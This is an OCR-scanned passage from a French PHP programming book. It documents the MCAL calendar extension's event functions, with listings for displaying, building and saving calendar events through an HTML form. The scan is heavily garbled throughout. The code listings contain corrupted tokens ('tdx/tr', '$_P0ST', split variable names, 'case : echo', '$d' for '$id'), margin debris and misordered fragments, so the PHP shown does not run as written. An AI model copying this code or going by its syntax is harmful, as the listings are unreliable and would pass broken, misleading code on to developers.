alarm (int) : delai (en minutes) precedant l'evenement pour lequel il faut declencher une 



alarme. 



L'objet date et heme, quant a lui, possede les attributs publics suivants : 

year (int) : annee ; 
month (int) : mois ; 
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mday (int) : jour ; 
hour (int) : heure ; 
min (int) : minutes ; 
sec (min) : secondes ; 

alarm (min) : ce parametre n'est toutefois pas utilise. 

Nous pouvons done ajouter une methode affichant (brut de fonderie) les proprietes d'un 
evenement. 

Listing 8.14 : mcal_03_inc.php (extrait) 

<?php 

// Extrait de la Classe MCAL_Agenda 
class MCAL_Agenda { 



$evenement = mcal_fetch_event($mcal , $i dEvenement) ; 
echo "<table>"; 

echo "<td col span=\"2\" class=\"titreEvenement\">"; 
echo $evenement->ti tl e. " (" .$evenement->id. "/" ; 
if ($evenement->publ ic) { 

echo "Publique"; 
} else { 

echo "Prive"; 

} 

echo ")</tdx/tr>\n" ; 

echo "<trxtd>Categorie</tdxtd>" .$evenement->category . "</tdx/tr>" ; 

echo "<trxtd>Descn'ption</td>" ; 

echo "<td>" .$evenement->description. "</tdx/tr>" ; 

echo "<trxtd>Attri buts Personnal i ses</td>" ; 

echo "<td>"; 



// (■■•) 



function aff i cheEvenement ($i dEvenement, $mcal) 




$dateDebut = $evenement->start; 
echo "<trxtd>Debut</td>" ; 

echo "<td>" .$dateDebut->mday. "/" .$dateDebut->month. "/" ; 

echo $dateDebut->year. " " .$dateDebut->hour. " : " .$dateDebut->min; 

echo " : " .$dateDebut->sec. ; 

echo " (Alarme : " .$dateDebut->al arm. ")</tdx/tr>" ; 



echo "</tdx/tr>"; 

echo "<trxtd>Al arme</td>" ; 

echo "<td>" .$evenement->al arm. " minutes avant</tdx/tr>" ; 



foreach ($evenement->attrl i st as $nom => $valeur) { 
echo "$nom = $valeur<br />"; 



co 
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$dateFin = $evenement->end; 

echo "<tr><td>Fin</td><td>".$dateFin->mday.7".$dateFin->nionth.7"; 

echo $dateFin->year. " " .$dateFi n->hour. " : " .$dateFi n->min; 

echo ":".$dateFin->sec." (Alarme : " .$dateFin->al arm. ")</tdx/tr>"; 

echo "<trxtd>Frequence</td>" ; 

echo "<td>"; 

switch ($evenement->recur_type) { 
case : echo "Ponctuel"; 
break; 

case 1 : 

if ($evenement»recur_i nterval == 1) { 

echo "Quoti di en " ; 
} else { 

echo "1 jour sur " .$evenement->recur_i nterval ; 

} 

break; 

case 2 : if ($evenement->recur_i nterval == 1) { 
echo "Hebdomadai re" ; 
} else { 

echo "1 semaine sur " .$evenement->recur_i nterval ; 

} 

echo "<br />Les "; 

if ( ($evenement->recur_data & 1)>0) echo "Dimanche "; 
if ( ($evenement->recur_data & 2)>0) echo "Lundi "; 
if ( ($evenement->recur_data & 4)>0) echo "Mardi "; 
if ( ($evenement->recur_data & 8)>0) echo "Mercredi "; 
if ( ($evenement->recur_data & 16)>0) echo "Jeudi "; 
if ( ($evenement->recur_data & 32) >0) echo "Vendredi "; 
if ( ($evenement->recur_data & 64)>0) echo "Samedi "; 
break; 

case 3 : if ($evenement->recur_i nterval == 1) { 
echo "Mensuel"; 
} else { 

echo "1 mois sur " .$evenement->recur_i nterval ; 

} 

break; 

case 4 : echo "Tous les N-ieme jour (Dim, Lun...) du mois."; 
if ($evenement->recur_i nterval == 1) { 

echo "Mensuel"; 
} else { 

echo "1 mois sur " .$evenement->recur_i nterval ; 

} 

break; 

case 5 : if ($evenement->recur_i nterval == 1) { 
echo "Annuel"; 
} else { 

echo "1 an sur ". $evenement->recur_i nterval ; 

} 

break; 
default : echo "????"; 
break; 
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} 

echo "</tdx/tr>"; 

$dateFi nRecur = $evenement->recur_enddate; 

echo "<trxtd>Jusqu 1 au</td>" ; 

echo "<td>" .$dateFi nRecur->mday . "/" -$dateFi nRecur->month . "/"; 

echo $dateFinRecur->year. " "; 

echo $dateFinRecur->hour. " : " .$dateFi nRecur->mi n; 

echo " : " .$dateFi nRecur->sec; 

echo " (Alarme : ".$dateFinRecur->alarm.")</tdx/tr>"; 

echo "</table>"; 

} 

} 

?> 



Bibliotheque MCAL 


Reunion (10161 37658/Prive) 


Categorie 


boulot 


Description 


Reunion d'avancernent sur le projet X245 


AttributsFersonnalises monAttributl - A204 


Alarme 


5 minutes avant 


Debut 


4/ll/2002 10:0:0(Alarme:) 


Fin 


4/11/2002 12:30:0 (Alarme:) 


Frequence 


Hebdomad aire 
Les Lundi 


Jusqu'au 


31/12/2002;: (Alarme;) 



Figure 8.6 : 

Fiche evenement 



II est egalement possible de connaitre la date du prochain evenement par rapport a une date 
donnee. 



mcal_next_recurrence () 



Retourne la date de l'evenement suivant la date donnee. 
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Syntaxe 

$idConnexion 
$weekstart 

$dateDebut 



retour 



object mcal_next_recurrence(resource $idConnexion, int 
$weekstart, array $dateDebut) 

Identifiant de connexion tel que retourne par mcal_open ( ) . 

Vraiment pas clair, le role de cet argument ! II ne semble avoir aucune 
influence sur le resultat. . . 

Tableau associatif contenant la date de debut de recherche avec les cles : 

"year" pour l'annee. 

"month" pour le mois. 

"mday" pour le jour. 

"hour" pour l'heure. 

"min" pour les minutes. 

"sec" pour les secondes. 

Objet date. 
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Definition des donnees des evenements 

L'insertion de nouveaux evenements dans l'agenda debute par l'initialisation des donnees de 
l'evenement en cours de description par un appel a mcai_event_init ( ) . 



mcal_event_init() 

Initialise une nouvelle description d'evenement. 

Syntaxe boolean mcal_event_init(resource $idConnexion) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

retour TRUE. 

II est ensuite possible de definir, pour l'evenement en cours : 

Sa visibilite (publique ou privee) ; 
Son titre ; 
■ Sa description ; 
Sa categorie ; 

Ses parametres personnalises ; 
Sa date. 



mcal_event_set_class () 

Fixe la visibilite (publique ou privee) de l'evenement. Par defaut, un evenement est prive. 

Syntaxe boolean mcal_event_set_cl ass (resource $idConnexion, boolean 

$vi si bi 1 i te) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$vi si bi 1 i te Visibilite de l'evenement (TRUE = publique, FALSE = privee). 

retour true. 



mcal_event_set_title () 

Associe un nom a l'evenement. 

Syntaxe boolean mcal_event_set_titl e(resource $idConnexion, string 

$nom) 



CD I— 

— a) 

2? « 

CO w 

o — 

03 O 

a = 



n a. 

CD 



469 



Chapitre 8 La gestion des dates et des calendriers 



$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

$nom Intitule de l'evenement. 

retour true. 



mcal_event_set_description () 

Associe un commentaire a l'evenement. 

Syntaxe boolean mcal_event_set_descri pti on (resource $i dConnexi on, 

string $description) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$description Descriptif de l'evenement. 

retour true. 



mcal_event_set_category() 

Associe une categorie a l'evenement. 



Syntaxe boolean mcal_event_set_category (resource $idConnexion, string 

$category) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open ( ) . 

$category Categorie de l'evenement (il n'y a pas de valeurs predefinies : a vous de les 

creer). 

retour true. 
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mcal_event_add_attribute () 

Associe a l'evenement un attribut personnalise. 

Syntaxe bool ean mcal_event_add_attri bute(resource $mcal , string 



CO 
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$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

$attri but Nom de l'attribut personnalise. 

$val eur Valeur associee a l'attribut personnalise. 
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Definition des dates d'apparition des evenements 

Les dates des evenements s'appuient sur plusieurs elements. En effet, les evenements n'etant 
pas toujours ponctuels, preciser des dates de debut et de fin se revele souvent insuffisant. Vous 
serez done probablement amene a devoir preciser une frequence d'apparition de l'evenement. 
Un evenement pourra, en effet, avoir lieu un jour sur N, une semaine sur N, un mois sur N (en 
s'appuyant soit sur le numero du jour dans le mois, soit sur le nom du jour de la semaine et le 
numero de la semaine dans le mois) ou bien encore un an sur N. 



mcal_event_set_start () 

Precise la date de debut (de la premiere occurrence) de l'evenement. 



Syntaxe 


boolean meal event set start (resource $idConnexion. 
$annee, int $mois [, int $jour [, int $heure [, int ! 
int $seconde]]]] ) 


, int 

fminute [, 


$idConnexion 


Identifiant de connexion tel que retourne par mcal_open ( 


). 


$annee 


Annee de debut de l'evenement. 




$moi s 


Mois de debut de l'evenement. 




$jour 


Jour de debut de l'evenement. 




$heure 


Heure de debut de l'evenement. 




$mi nute 


Minutes de la date de debut de l'evenement. 




$seconde 


Secondes de la date de debut de l'evenement. 




retour 


TRUE. 





mcal_event_set_end () 



Precise la date de fin (de la premiere occurrence) de l'evenement. 

Syntaxe boolean mcal_event_set_end(resource $idConnexion, int $annee, 

int $mois [, int $jour [, int $heure [, int $minute [, int ?° 

$seconde]]]]) 2- ST 

a. 

SidConnexion Identifiant de connexion tel que retourne par mcal_open () . S3 Jg 

o — 

$annee Annee de debut de l'evenement. 212 

CD 

$mois Mois de debut de l'evenement. o. to 

$jour Jour de debut de l'evenement. 5 g- 

$heure Heure de debut de l'evenement. ™ 

$mi nute Minutes de la date de fin de l'evenement. 

$seconde Secondes de la date de fin de l'evenement. 

retour TRUE. 
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mcal_event_set_recur_daily() 

Precise la frequence de l'evenement sur la base des jours. 



Syntaxe boolean meal _event_set_recur_dai ly (resource $idConnexion, int 

$annee, int $mois, int $jour, int $frequence) 

$idConnexion Identifiant de connexion tel que retourne parmcal_open ( ) . 

$annee Annee de la date de fin de recurrence de 1'evenement. 

$moi s Mois de la date de fin de recurrence de 1'evenement. 

$ j our Jour de la date de fin de recurrence de 1'evenement. 

$frequence L'evenement a lieu un jour sur $ frequence. (Si $ frequence = 0, 

1'evenement est ponctuel.) 

retour true. 



mcal_event_set_recur_weekly() 

Precise la frequence de l'evenement sur la base des semaines. 



Syntaxe boolean mcal_event_set_recur_weekly (resource $idConnexion, int 

$annee, int $mois, int $jour, int $frequence, int 
$joursSemaine) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j our Jour de la date de fin de recurrence de l'evenement. 

$frequence L'evenement a lieu une semaine sur $ frequence. 

$joursSemaine Indique quels jours de la semaine l'evenement a lieu. Cette valeur est 
l'additiondesvaleurssuivantes : 1 = dimanche, 2 = lundi, 4 = mardi, 8 = 
mercredi, 16 = jeudi, 32 = vendredi, 64 = samedi. 



■55 u> retour true. 

■o S 
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1 1 mcal_event_set_recur_monthly_mday() 

cu — 
I cu 

Precise la frequence de l'evenement sur la base des mois. 

Syntaxe boolean mcal_event_set_recur_monthly_mday (resource 

$idConnexion, int $annee, int $mois, int $jour, int $frequence) 



472 



Les gestionnaires d'evenements 



$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j ou r Jour de la date de fin de recurrence de l'evenement. 

$f requence L'evenement a lieu un mois sur $ frequence (a la meme date que le jour 
de debut de la premiere occurrence). 

retour true. 



Semaines incompletes 

Le comportement de cette fonction peut surprendre dans certains cas (meme s'il reste 
assez logique). Si vous prenez V annee 2003, qui commence par un mercredi, et que 
vous souhaitez indiquer que, tout au long de Vannee, vous aurez une reunion le 
premier lundi du mois, vous prenez comme date de debut de l'evenement le lundi 6 
janvier (premier lundi du mois de janvier, mais lundi de la seconde semaine du 
mois ) : vous pointerez done chaque mois sur le lundi de la seconde semaine du mois. 



mcal_event_set_recur_monthly_wday() 

Precise la frequence de l'evenement sur la base des mois (au meme jour de la meme semaine 
chaque mois). 



Syntaxe boolean mcal_event_set_recur_monthly_wday (resource 

$i dConnexi on, int $annee, int $mois, int $jour, int $frequence) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j ou r Jour de la date de fin de recurrence de l'evenement. 

$f requence L'evenement a lieu un mois sur $ frequence (le meme jour de la meme 

semaine que la date de debut de la premiere occurrence). 

retour TRUE. 



mcal_event_set_recur_yearly() 

Precise la frequence de l'evenement sur la base des annees. 

Syntaxe boolean mcal_event_set_recur_yearly (resource SidConnexion, int 

$annee, int $mois, int $jour, int $frequence) 



REMARQUE 



Chapitre 8 La gestion des dates et des calendriers 



$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j our Jour de la date de fin de recurrence de l'evenement. 

$frequence L'evenement a lieu un an sur $ frequence, 

retour TRUE. 

Declenchement de l'alarme 



mcal_event_set_alarm () 

Prepare une alarme pour l'evenement. 

Syntaxe boolean mcal_event_set_al arm(resource $i dConnexi on, int 

$del ai sRappel ) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$del ai sRappel Indique, en minutes, combien de temps avant l'echeance l'alarme doit se 
declencher. 

retour true. 



Synthese des proprieties d'un evenement 

Nous vous proposons de regrouper toutes ces proprietes dans un objet "fait maison". L'interet 
en est peut-etre limite, mais, comme il s'agit d'un objet, vous pouvez toujours l'enrichir a votre 
guise. II permet toutefois de definir les proprietes par des noms d'attributs en frangais (pour les 
non anglophones) et, surtout, de distinguer la definition de l'objet (assignation des valeurs des 
attributs) des "appels" aux calendriers (avec passage du parametre $idConnexion). Cette 
derniere operation est ici realisee par une unique methode prepare ($idConnexion) . 



Listing 8.15 : mcalevenementjnc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 
class MCAL_Evenement { 
var $visibilite; 

var $titre, $description, $categorie; 
var $dateDebut, $heureDebut; 
var $dateFin, $heureFin; 
var $f requenceType; 
var $frequence; 
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var $frequenceDateFin; 
var $frequenceJours; 
var $alarme; 

// Les attributs personnal i ses 
var $monAttributl, $monAttribut2; 

// Libre a vous de construire 

// les methodes setXX() et getXX() qui vont bien 



// Stocke tous les attributs de 1'objet 

// dans 1 'evenement courant 

// (avant sauvegarde) 

function prepare($mcal ) 

{ 

mcal_event_init($mcal) ; 

if (isset($this->visibil ite)) 
mcal_event_set_cl ass ($mcal , 

$ t h i s ->v isibi 1 ite) ; 

if (isset($this->titre)) 

mcal_event_set_ti tl e($mcal , $thi s->ti tre) ; 

if (isset($this->description)) 

meal _event_set_descri pti on ($mcal , 

$this->description) ; 

if (isset($this->categorie)) { 
mcal_event_set_category ($mcal , 

$thi s->categori e) ; 

} 

if (isset($this->dateDebut)) { 
list($annee, $mois, $jour) = 

explodeC 1 -", $this->dateDebut) ; 
if (isset($this->heureDebut)) { 

list($heure, $minutes, $secondes) = 

explode(":", $this->heureDebut) ; co 
} CD i— 

mcal_event_set_start($mcal , o-io 
$annee, $mois, $jour, $heure, $minutes, $secondes); S3 ™ 

) 03 O 



if (isset($this->dateFin)) { 

list($annee, $mois, $jour) = 

explodeC 1 -", $thi s->dateFi n) ; 
if (isset($this->heureFin)) { 

list($heure, $minutes, $secondes) : 
expl ode(" : " , $thi s->heureFin) ; 

} 

meal event set end($mcal, 



n a. 
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$annee, $mois, $jour, $heure, $minutes, $secondes): 

} 

if (isset($this->frequenceType) && 
i sset ($thi s->frequenceDateFin) && 
isset($this->frequence)) { 

if (i sset ($thi s->frequenceDateFi n) ) { 
list($annee, $mois, $jour) = 

explode("-", $this->frequenceDateFin) ; 



switch ($thi s->frequenceType) { 
case MCAL_RECUR_DAILY : 

mcal_event_set_recur_dai ly ($mcal , 
$annee, $mois, $jour, 
$thi s->frequence) ; 
break; 

case MCAL_RECUR_WEEKLY : 

mcal_event_set_recur_weekl y ($mcal , 

$annee, $mois, $jour, 

$thi s->frequence, 

$thi s->frequenceJours) ; 
break; 

case MCAL_RECUR_MONTHLY_MDAY : 

mcal_event_set_recur_monthly_mday ($mcal , 

$annee, $mois, $jour, 

$thi s->frequence) ; 
break; 

case MCAL_RECUR_MONTHLY_WDAY : 

mcal_event_set_recur_monthly_wday ($mcal , 

$annee, $mois, $jour, 

$thi s->frequence) ; 
break; 

case MCAL_RECUR_YEARLY : 

mcal_event_set_recur_yearly ($mcal , 
$annee, $mois, $jour, 
$thi s->frequence) ; 
break; 



// evenement ponctuel 
break; 



O CO , 

IB " } 

g, cu if (isset($this->alarme)) { 

co ^ meal event set alarm($mcal, $thi s->al arme) ; 

_, » - - - 

CO 

if (isset($this->monAttributl)) { 
mcal_event_add_attribute($mcal , 

"monAttributl",$this->monAttributl) ; 

} 
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// (■ 
} 



if (isset($this->monAttribut2)) { 
mcal_event_add_attribute($mcal , 

"monAttribut2",$this->monAttribut2) : 

} 



A noter que, dans notre cas, nous avons un objet qui pourra contenir deux attributs 
personnalises, que nous appellerons respectivement monAttributi et monAttribut2. 

Nous verrons un exemple d'utilisation de cet objet un peu plus loin dans ce chapitre. 



Consultation de l'evenement en cours 

II est possible a tout moment de consulter le contenu de l'evenement en cours grace a 
mcai_f etch_current_stream_event ( ) . Ceci peut etre utile pour le debogage, afin de 
verifier ce que nous nous appretons a sauvegarder. 



mcal_fetch_current_stream_event() 

Retourne les proprietes de l'objet en cours. 

Syntaxe object mcal_fetch_current_stream_event (resource $idConnexion) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

retour Objet evenement. 

A cette fin, nous avons ajoute une methode a l'objet MCAL_Evenement evoque precedemment. 

Listing 8.16 : mcalevenementinc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 

CD I— 

class MCAL Evenement { "* M 



// (•••) 



function toHTMLStringCurrentEvent($mcal ) { 

$even = meal fetch current stream event($mcal 



o — . 

03 O 



cd a. 

55 Si. 



$txt = ""; ™ 



$txt .= "Id = ".$even->id."<br />"; 

$txt .= "Titre = ".$even->title."<br />"; 

$txt .= "Visibilite = " .$even->publ i c. "<br />"; 

$txt .= "Categorie = " .$even->category. "<br />"; 
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$txt .= "Description = " .$even->descri ption. "<br />"; 
$attrlist = $even->attrl i st; 

$txt .= "monAttributl = ".$attrlist["monAttributl"] ."<br />"; 

$txt .= "monAttribut2 = ".$attrlist["monAttribut2"] ."<br />"; 

$date = $even->start; 

$txt .= "debut = "; 

$txt .= $date->year. "-" .$date->month . "-" .$date->mday; 

$txt .= " " .$date->hour. " : " .$date->min. " : " .$date->sec; 

$txt .= "<br />"; 

$date = $even->end; 

$txt .= "debut = "; 

$txt .= $date->year."-".$date->month."-".$date->mday; 

$txt .= " " .$date->hour. " : " .$date->min. " : " .$date->sec; 

$txt .= "<br />"; 

$txt .= "frequenceType = " .$even->recur_type. "<br />"; 

$txt .= "frequence = " .$even->recur_interval . "<br />"; 

$txt .= "frequenceJours = " .$even->recur_data. "<br />"; 

$date = $even->recur_enddate; 

$txt .= "frequenceDateFi n = "; 

$txt .= $date->year."-".$date->month."-".$date->mday; 

$txt .= "<br />"; 

$txt.="Alarme = " .$even->al arm. "<br />"; 
return $txt; 

} 

} 



Sauvegarde des evenements 

Enfin, pour sauvegarder l'evenement, nous disposons de la fonction mcal_store_event ( ) . 



mcal_store_event () 

Enregistre l'evenement en cours. (A Tissue de cet appel, Petat de l'evenement courant est 
indetermine. II convient done de faire un appel a mcai_event_init { ) .) 

Syntaxe int mcal_store_event(resource $i dConnexi on) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open( ) . 

retour Identifiant de l'evenement ainsi ajoute, ou FALSE en cas d'echec. 



CO 
CD 

CO J2 

■a eu 

cd -a 

■a c= 

o cs 

oj aj 

cu — 
I cu 
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L) meal _append_event () 

Depuis la version 4.0, est apparue la fonction mcal_append_event (), qui semble 
avoir le meme comportement que mcal_store_event ( ) (meme si la 
documentation PHP indique que Vune sert a modifier un evenement, tandis que 
V autre sert a I'ajouter a I 'agenda). 

Ceci nous permet d'enrichir notre objet MCAL _Evenement avec une methode sauve ( ) . 

Listing 8.17 : mcalevenementjnc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 
class MCAL_Evenement { 



$this->prepare($mcal) ; 
$id=mcal_store_event($mcal ) ; 

if ($id !== FALSE) { 
$this->id=$id; 

} 

return $id; 



Remarquez, qu'ici, nous en profitons pour stocker l'identifiant de l'evenement dans l'objet 
MCAL_Evenement. 

Maintenant, comme nous ne voulons pas avoir ecrit cette classe pour rien, nous allons l'utiliser 
afin d'enregistrer un evenement dans l'agenda. Mais, pour cela, un formulaire de saisie etant 
plus que pratique, nous allons ajouter a cette classe une methode permettant d'afficher un 
formulaire adapte. 



// (•■•) 



// Sauve 1 1 evenement 
function sauve($mcal ) 



<?php 



class MCAL_Evenement { 



Listing 8.18 : mcal evenementjnc.php (extrait) 



// extrait de MCAL_Evenement 




// (•••) 



/ 
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* Affiche un formulaire de saisie d'evenement 

* @param action string page a appeler lors de 1 'envoi des donnees 

7 

function affi cheFormul ai re($action="mcal_evenement_sauve.php") 

{ 

echo "<form action=\"$action\" method=\"post\">\n" ; 

echo "<table border=\"0\" eel 1 spaci ng=\"0\" cellpadding=\"2\">\n"; 

echo "<tr cl ass=\"champsdescri ption\"xtdxb>Ti tre</bx/td>" ; 

echo "<tdxinput type=\"texte\" name=\"ti tre\"/x/td>" ; 

echo "<tdxselect name=\"visibilite\">"; 

echo "<option value=\"0\">Prive</option>"; 

echo "<option val ue=\"l\">Publ ique</option>" ; 

echo "</sel ectx/tdx/tr>\n" ; 

echo "<tr cl ass=\"champsdescri ption\"xtdxb>Categori e</bx/td>" ; 

echo "<td col span=\"2\"xselect name=\"categon'e\">" ; 

echo "<option value=\"boulot\">Boulot</option>"; 

echo "<option value=\"loisirs\">Loisirs</option>"; 

echo "<option val ue=\"divers\">Divers</option>" ; 

echo "</sel ectx/td>" ; 

echo "</tr>\n"; 

echo "<tr cl ass=\"champsdescription\"xtdxb>Descri ption</bx/td>" ; 

echo "<td col span=\"2\"xtextarea name=\"description\">" ; 

echo "</textareax/td>" ; 

echo "</tr>\n"; 

echo "<tr cl ass=\"champsdescription\"xtdxb>Sal 1 e</b>(*)</td>" ; 

echo "<td colspan=\"2\"xinput type=\"text\" name=\"sal 1 e\"x/td>" ; 

echo "</tr>\n"; 

echo "<tr cl ass=\"champsdate\"xtdxb>Date Debut</bx/td>" ; 

echo "<tdxinput type=\"text\" name=\"dateDebut\" /x/td>"; 

echo "<td>(AAAA-MM-JJ)</td>"; 

echo "</tr>\n"; 

echo "<tr cl ass=\"champsdate\"xtdxb>Heure Debut</bx/td>" ; 

echo "<tdxinput type=\"text\" name=\"heureDebut\" /x/td>"; 

echo "<td>(HH:MM:SS)</td>"; 

echo "</tr>\n"; 

echo "<tr cl ass=\"champsdate\"xtdxb>Date Fi n</bx/td>" ; 

echo "<tdxinput type=\"text\" name=\"dateFi n\" /x/td>"; 

u echo "<td>(AAAA-MM-JJ)</td>"; 

Jo u> echo "</tr>\n"; 

echo "<tr cl ass=\"champsdate\"xtdxb>Heure Fi n</bx/td>" ; 

echo "<tdxinput type=\"text\" name=\"heureFi n\" /x/td>"; 

iE echo "<td>(HH:MM:SS)</td>"; 

echo "</tr>\n"; 



CD 
C/» ~ 

as -a 



cd echo "<tr cl ass=\"champsfrequence\">" 

echo "<tdxb>Frequence</bx/td>" ; 



echo "<td>l <select name=\"frequenceType\">" ; 
echo "<option val ue=\"0\">(Evenement ponctuel)</option>"; 
echo "<option value=\"l\">Jour</option>"; 
echo "<option value=\"2\">Semaine</option>"; 
echo "<option val ue=\"3\">Moi s (meme date)</option>" ; 
echo "<option val ue=\"4\">Moi s (meme jour,semaine)</option>" 
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echo 
echo 
echo 

echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 



koption val ue=\"5\">An</option>" ; 
'</sel ectx/td>\n" ; 

<td>sur <input type=\"text\" name=\"frequence\" " . 

size=\"3\"x/td>" ; 
'</tr>\n" ; 

<tr cl ass=\"champsfrequence\">" ; 

'<tdxb>Jours de la semai ne</bxbr />(si hebdomadal re)</td>" ; 
<td col span=\"2\"xtabl extr>" ; 

ktdxinput type=\"checkbox\" name=\"dimanche\" />Dimanche</td>" 
ktdxinput type=\"checkbox\" name=\"l undi\" />Lundi</td>" ; 
ktdxinput type=\"checkbox\" name=\"mardi \" />Mardi</td>" ; 

name=\"mercredi\" />Mercredi</td>" 



name=\" jeudi \" />Jeudi</td>" ; 
name=\"vendredi\" />Vendredi</td>" 
name=\"samedi \" />Samedi</td>" ; 



ktdxinput type=\"checkbox\" 
'</trxtr>" ; 

ktdxinput type=\"checkbox\" 
ktdxinput type=\"checkbox\" 
ktdxinput type=\"checkbox\" 
'</trx/tabl ex/tdx/tr>\n" ; 
<tr cl ass=\"champsf requence\">" ; 
'<tdxb>Jusqu 1 au</bx/td>" ; 

ktdxinput type=\"text\" name=\"frequenceDateFi n\" /x/td> 
'<td>(AAAA-MM-JJ)</tdx/tr>\n" ; 

'<tr cl ass=\"champsal arme\"xtdxb>Prevenez moi</bx/td>" ; 

<td col span=\"2\">" ; 

'<select name=\"al arme\">" ; 

koption val ue=\"0\">(pas)</option>" ; 

<option value=\"5\" sel ected=\"sel ected\">5 min.</option>" 

<option value=\"10\">10 min.</option>"; 

<option val ue=\"15\">l/4 h.</option>"; 

<option val ue=\"30\">l/2 h.</option>"; 

<option val ue=\"60\">l h.</option>"; 

</select>"; 

avant</tdx/tr>" ; 
'<trxtd col span=\"3\">" ; 

(*) Exemple d'attribut personnal i se</tdx/tr>\n" ; 
'<trxtd col span=\"3\" al ign=\"center\">" ; 
<input type=\"submi t\" val ue=\"Ajouter\" />"; 
</tdx/tr>" ; 
</table>\n" ; 
</form>"; 



// (■••) 



} 



Ce formulaire aura l'allure suivante (certes, il manque de fioritures, mais c'est efficace) (voir 
fig. 8.7) : 

Lors de la validation du formulaire, la page mcal_evenement_sauve.php sera appelee. Celle-ci a 
done pour mission de copier les parametres issus de la methode post dans un objet 
MCAL _Evenement et d'appeler tout bonnement la methode sauve ( ) apres avoir ouvert une 
connexion sur l'agenda. 
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Titre 


Reunion 


iPrive H 


Categorie 


Boulot 2} 






Reunion 0" avancement 




Description 


sur le projet K245 




Salle(*) 


A204 




Date Debut 


2002-11-04 


(AAAA-MM-JJ) 


Heure Debut 


10:00:00 


(HH:MM:SS) 


Date Fin 


2002-11-04 


(AAAA-MM-JJ) 


Heure Fin 


12:30:00 


(HH:MM:SS) 


Frequence 


[ J Semaine 


jj sur [i 


Jours de la semaine 


f Dimanche FLundi 


rivlardi TMercredi 


(si hebdomadaire) 


1 Jeudi V Vendredi fSamedi 


Jusqu 'au 


2002-1 2-31 


(AAAA-MM-JJ) 


Frevenez moi 







(*) Exemple d'attribut personnalise 

Ajouter I 



Figure 8.7 : 

Formulaire de saisie 
d'evenement 



Listing 8.19 : mcal_evenement_sauve.php 

<?php 

include("mcal_03_inc.php") ; 

i ncl ude("mcal_evenement_i nc.php") ; 

// Connexion a 1 'agenda 

$mcal = MCAL_Agenda: :connect() ; 



// Instanciation d'un objet MCAL_Evenement 
// (objet construit par nos soins) 

$evenement = new MCAL_Evenement () ; 

// Copie des donnees issues du formulaire 
// dans la structure de 1 'objet 



CO 
CD 

CO J2 

■a eu 

cd -a 
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= °> 
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$evenement->vi si bi 1 i te 
$evenement->ti tre 
$evenement->categori e 
$evenement->descri pti on 



$_P0ST["visibilite"] ; 

stri psl ashes ($_P0ST["ti tre"] ) ; 

$_P0ST["categorie"] ; 

stripslashes($ P0ST["description"] ) ; 



$evenement->monAttributl = $ P0ST["sal le"] ; 



$evenement->dateDebut 
$evenement->heureDebut 

$evenement->dateFi n 
$evenement->heureFi n 



$_P0ST["dateDebut"] ; 
$_P0ST["heureDebut"] ; 

$_P0ST["dateFin"] ; 
$ P0ST["heureFin"] ; 



$evenement->f requenceType 
$evenement->f requence 



$_P0ST["frequenceType"] ; 
$ P0ST["frequence"] ; 



if ($evenement->f requenceType == 2) 
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$evenement->f requenceJours = 0; 



if 


($. 


POST["dimanche"] == "on") 












$evenement->f requenceJours 


+= 


1; 


if 


($. 


_POST["lundi"] 


== "on") 

$evenement->f requenceJours 


+= 


2; 


if 


($. 


_POST["mardi"] 


== "on") 

$evenement->f requenceJours 


+= 


4; 


if 


($. 


POST["mercredi 


"] == "on") 

$evenement->f requenceJours 


+= 


8; 


if 


($. 


_POST["jeudi"] 


== "on") 

$evenement->f requenceJours 


+= 


16 


if 


($. 


_POST["vendredi 


"] == "on") 

$evenement->f requenceJours 


+= 


32 


if 


($. 


_POST["samedi "] 


== "on") 
$evenement->f requenceJours 


+= 


64 



} 

$evenement->f requenceDateFi n = $_P0ST["f requenceDateFi n"] ; 
$evenement->al arme = $_P0ST["alarme"] ; 

$id = $evenement->sauve($mcal ) ; 



?> 

<html> 
<body> 

<hl>Enregi strement d'un evenement</hl> 
<?php 

if ($d !== FALSE) { 

echo "Votre nouvel evenement a ete enregistre (avec 1 1 i denti f i ant" . 
" $id)"; 

} else { 

echo "La tentative d 1 enregi strement de 1 'evenement a echoue"; 

} 

echo $evenement->toHTMLString() ; 

?> 

</body> 
</html> 



Utilisation de stripSlashes ( ) 

~ Comme les parametres titre et description sont des chaines de caracteres 

REMARQJE Ubrement saisies par Vutilisateur, ils peuvent contenir (entre autres) des apostrophes. 

Or, par defaut, PHP est configure avec Voption magic_quotes_gpc = on, ce qui 
fait que les valeurs passees par les methodes post, et getou par cookies voient leurs 
apostrophes precedees d'un anti-slash (comme le fait la fonction addSlashes ( )). II 
faut les supprimer, car, bien que fort utiles dans le cas d'un ajout dans une base de 
donnees, ils sont genants lorsque les valeurs sont simplement passees en parametre 
d 'une fonction (ici les fonctions meal). 



CD I - 



o — . 
03 o 



n a. 

CD 

CO 
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Operations sur les evenements enregistres 

Une fois l'evenement enregistre, il est tout de meme possible de supprimer facilement 1'alarme 
